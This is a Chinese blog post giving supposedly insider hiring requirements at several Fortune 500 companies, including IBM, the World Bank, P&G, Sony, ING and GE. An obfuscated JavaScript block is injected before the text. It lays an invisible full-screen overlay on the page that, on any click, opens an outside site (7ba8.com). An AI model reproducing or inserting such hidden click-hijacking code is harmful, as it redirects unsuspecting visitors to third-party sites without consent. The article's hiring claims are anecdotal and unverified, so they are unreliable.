<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>
又到了“金九银十”的求职旺季，想进世界500强企业的GGMM们估计不占少数，不少应届毕业生估计都心情急切，六神无主了。很多人认为进入500强是得了“妄想症”，小妹我今天就给大家分享分享10大500强的招聘门槛！！独家爆料喔！
IBM：想进先测IQ
除了面试正常的流程，IBM公司一般会做个IQ题来测试，通常一大部分人都会折在这里！举个比较通用的例子，在房里有三盏灯，房外有三个开关，在房外看不见房内的情况，你只能进门一次，你用什么方法来区分哪个开关控制哪一盏灯？
小妹我看了很多人的答案，不明白为什么都想的那么复杂，其实就是先开其中一个开关，过一段时间然后关去再开另一个开关，进房间用手摸不亮的两盏灯（温度是不用的）。切记不要把IQ和脑筋急转弯弄混，因为IBM喜欢招聘聪明的应聘者，不过也不用太担心啦，是否能进IBM答对IQ问题并不是关键，不过是HR在你应聘表的加分上多划拉一笔罢了！
世界银行：需跳过3次槽
应聘世界银行我认为是最最变态的，起码要跳过3次槽，世界银行对于经常需要考查、验资的银行人员，需要知己知彼才能百战百胜（囧，什么逻辑，又不是三国），所以，应聘世界银行的基本条件是至少要有3种以上不同行业的工作经历，所以应届毕业生们你们杯具了，换目标吧！
宝洁公司：免试秘方
面试过宝洁公司的同胞们都知道，宝洁公司对英语的要求相当高，别以为拿着那人手一本的四六级就能糊弄过去！宝洁公司可有自己的老花样——托 业 考！阅读没有问题 ,比四级都简单.就是速度要快.但1个小时的听力 考 估计会抢走你人生的“ 第 一 次 ”，模糊的非标准的英语,酒吧中的噪声,大街上,几个人嘻嘻哈哈的聊天,VOA新闻都得习惯，所以竖起耳朵请好吧!
不过据小妹我分析，一般能通过 托 业 考 的，面试应该问题都不大，实在不懂的还会有中国的帅哥面试官帮你翻译，除非真是你的英语实在无法完成面试的交流，那就趁早溜号儿吧！
不过GGMM们不要担心，机会都是留给有准备的人的，提前考过 托 业 的，可有机会免试呢，我当时考了855分,在宝洁面试的时候就免试了，听说是750就可以，为了保险还是多多益善吧~何况 托 业 考 证还是500强企业都认可的，不拿着这个敲门砖去面试，跟没带简历差不了多少了！
索尼：好奇害不死你
相信大家都看过电影《好奇害死猫》吧？SONY就不认为好奇有什么不好！面试的时候，面试官要问你：搞坏了几台电视机？你小时候是不是把爸爸的手表折腾坏了？你家的收音机被你拆了几次？这样的问题，估计得有一帮人发蒙！嘿嘿，直面上的意义就是这孩子淘气，爱拆东西，但千万不要以为这样的问题是怕你会搞坏公司财物，这是索尼公司面试时考察好奇心的方法！囧一下~据说是需要对电子、电器、机械设备感兴趣，有大胆创意和突发奇想的人材！
真没想到好奇还有这点好处，乖乖男乖乖女们要编好谎话喔！
荷兰国际集团（ING）：不能说“也许”，也不能说“绝对”
要知道500强企业里最最事儿妈的就是荷兰国际集团（ING）了，除了基本的业务能力、外语水平、计算机能力要求外，就先是一堆硬性指标，什么必须开放、必须自信、必须兴趣广泛、必须人品端正、必须喜欢公司！然后就是面试时不能用“也许”、“可能”、“恐怕”这些不确定词语，他们会觉得自信心不强；要不就是“绝对没错”、“一定是这样”的武断结论，他们又认为你自负！
不让应聘者说绝对，你们倒来那么多“必须”！
GE公司：不要拿学历说事儿
作为全球500强的企业，估计谁也想不到哪个公司不看学历说话吧？小妹我想说的是，那些为了进外企捏造假学历假证的童鞋们，这回你们可做了无用功了！GE(中国)对所有面试者都是均等的，高学历不会在考核单上加分，学历、学校和工作经验都是证明应聘者能力的一种方式，但最根本的是应聘者的经验、能力和技能是否合适自己应聘的职位，找到自己的定位！
这是500强企业面试时的一些小窍门，不要认为这几条只针对一家公司，做N手准备才行哦~想应聘的赶紧收藏吧！小妹独家奉献~ |
|
收藏